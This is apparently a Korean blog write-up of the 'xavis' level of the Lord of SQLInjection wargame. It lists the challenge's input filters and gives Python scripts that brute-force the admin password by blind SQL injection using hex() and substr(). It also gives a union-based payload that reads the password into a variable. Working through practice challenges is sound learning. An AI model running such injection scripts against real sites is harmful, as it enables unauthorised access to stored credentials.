본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 19번 xavis

반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

Lord of SQLInjection 19번 xavis

 

 

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

필터링

1) prob

2) _

3) .

4) ()


if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 

필터링

1) regex (정규표현식)

2) like

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 

정확한 pw를 구해야 하는 문제이다.

 

 

 

pw 길이 구하기

import requests

url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies={"PHPSESSID":"세션값"}

for i in range(0,100):
    pay=f"?pw='or id='admin' and length(pw)={i};%23"
    res=requests.get(url+pay,cookies=cookies)
    
    if "Hello admin" in res.text:
        print("length:",i)
        length=i
        break

 

--> length: 12

 

 

url에서 확인해봐도 Hello admin이라고 나온다.

하지만 기존 LOS에서 풀었던 pw구하는 방식

pay=f"?pw='or id='admin' and ascii(substring(pw,{i},1))={j};%23"

으로 코드를 아무리 돌려보아도 pw는 나오지 않는다.

 

 

 

 

구글에 검색해보니 unicode문제라고 한다...

 

orc 문제

예전에 풀었던 문제 중 orc 문제를 보면 첫번째 자리 값이 1byte이다.

 

 

 

xavis 문제

이번 문제에서는 첫번째 자리 값이 4byte라고 나왔다.

영어, 숫자는 1글자 당 1byte로 표현이 되지만 한글은 최소 2byte가 필요하다.

그래서 알파벳, 숫자, 기호는 아스키코드로 나타내지만 한글은 유니코드를 사용한다.

4byte * 3 =12byte

3글자인 것을 알 수있다.

 

 

pw구하기

ascii로 구했을때 pw가 나오지 않아 hex로 바꾸어 코드를 실행해보았다.

 

import requests

url="https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
cookies={"PHPSESSID":"세션값"}
string="0123456789abcdefghijklmnopqrstuvwxyz"

pw=""

for i in range(0,100): #길이구하기
    pay=f"?pw='or id='admin' and length(hex(pw))={i};%23"
    res=requests.get(url+pay,cookies=cookies)
    
    if "Hello admin" in res.text:
        length=i
        print("length:",i)
        break

for i in range(1,length+1): #pw구하기
    for j in string:
        pay=f"?pw='or id='admin' and substr(hex(pw),{i},1)='{j}'%23"
        res=requests.get(url+pay,cookies=cookies)

        if "Hello admin" in res.text:
            pw+=j
            print("pw:",pw)
            break
print("password:",pw)

 

password

 

길이는 24byte로 나왔고, password는 0000c6b00000c6550000ad73이다.

hex값을 한글형태로 8자리씩 나누어 인코딩하면 다음과 같이 나온다. 

 

 

 

 

 

 

 

다른방법)

"select @[변수명]:=입력값"

pw값을 변수로 받아서 출력하는 방법도 있다고 한다.

 

?pw=' or (select @a:=pw where id='admin') union select @a%23

반응형